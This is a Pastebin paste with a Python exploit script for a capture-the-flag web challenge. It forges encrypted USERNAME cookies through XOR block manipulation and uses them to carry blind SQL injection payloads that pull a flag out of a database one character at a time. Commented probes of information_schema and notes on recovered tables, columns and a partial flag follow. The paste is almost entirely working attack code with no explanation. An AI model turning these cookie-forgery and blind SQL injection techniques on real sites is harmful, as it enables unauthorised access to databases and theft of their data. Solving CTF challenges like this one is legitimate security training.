Advertisement
Guest User

Untitled

a guest
Apr 1st, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.97 KB | None | 0 0
  1. from base64 import b64encode
  2. import string
  3. import re
  4. import requests
  5.  
  6. url="http://cryptolol.challs.malice.fr"
  7. def xor(a, b):
  8. out = []
  9. for (b1,b2) in zip(a,b):
  10. out.append(b1^b2)
  11. return bytes(out)
  12.  
  13. nickname_length=21 #48 pour le cookie?
  14. regex = r"the user(.*) has been"
  15.  
  16.  
  17. def select_subtitle(html_string):
  18. a = html_string.split('\n')
  19. b = [l for l in a if 'subtitle' in l]
  20. return '\n'.join(b)
  21.  
  22. def send_cookie(raw_bytes, print_whole_page):
  23. #print("Sending %s" % raw_bytes)
  24. h = {
  25. "cookie": "USERNAME=%s" % b64encode(raw_bytes).decode()
  26. }
  27. r = requests.get(url, headers=h)
  28.  
  29. if print_whole_page:
  30. #print(r.text)
  31. pass
  32. try:
  33. a = re.search(regex, r.text).group(1)[7:-5]
  34. #print(a)
  35. except AttributeError:
  36. #print("It either finished or crashed!")
  37. return r.text
  38. b = eval('"%s"' % a)
  39. c = bytes([ord(l) for l in b]).replace(b"&lt;",b"<").replace(b"&gt;",b">").replace(b"&#39;",b"'").replace(b"&#34;",b"\"").replace(b"&amp;",b"&")
  40.  
  41. #print(c)
  42.  
  43. if print_whole_page:
  44. return r.text
  45. else:
  46. return(c)
  47.  
  48. def send_username(string_to_send):
  49. # first we pad the string
  50. BLOCK_SIZE = 16
  51. string_length = len(string_to_send)
  52. padding_length = BLOCK_SIZE - (string_length % BLOCK_SIZE)
  53. string_padded = [ord(c) for c in (string_to_send + " " * padding_length)]
  54.  
  55. cipher_text = [0]*(len(string_padded) + BLOCK_SIZE)
  56.  
  57. number_of_pass = len(string_padded) // BLOCK_SIZE + 1
  58.  
  59. for i in reversed(range(0, number_of_pass)):
  60. if i != 0:
  61. decripted = send_cookie(bytes(cipher_text), False)
  62. interesting_bits = decripted[(BLOCK_SIZE * (i-1)):(BLOCK_SIZE * i)]
  63. for j in range(BLOCK_SIZE):
  64. cipher_text[(i-1) * BLOCK_SIZE + j] = interesting_bits[j]^string_padded[(i-1) * BLOCK_SIZE + j]
  65. else:
  66. result = send_cookie(bytes(cipher_text), True)
  67. test = ("Error" not in result)
  68. if test:
  69. print(select_subtitle(result))
  70. return test
  71.  
  72.  
  73. out = ""
  74. for i in range(32):
  75. for c in range(128):
  76. if c == ',':
  77. continue
  78. print(out + str(c), end='\r')
  79. #test = send_username("groot' AND MID( (select column_name from information_schema.columns where table_name='profiles' and ordinal_position=5) FROM %s FOR 1)='%s';#"%(i+1, c))
  80. test = send_username("flag' AND ASCII(MID( flag FROM %s FOR 1))=%s #"%(i+1, c))
  81. if test:
  82. out += chr(c)
  83. break
  84. print(out+'\n')
  85. else:
  86. exit()
  87. print(out)
  88. #table_name FROM information_schema.tables
  89. #send_username("hackquaman' AND !='1';#")
  90. #send_username("flag")
  91. #ndh{l!st3n-to_me
  92.  
  93. """
  94. Flag:flag
  95. Groot:groot:flag
  96. Phishing fairy:hackquaman
  97. Ninja:SURIMI
  98. T
  99. host: webmaster
  100. db:website
  101. table_name=profiles
  102. columns:
  103. username
  104. class
  105. websIte
  106. avatAr
  107. flag
  108. """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement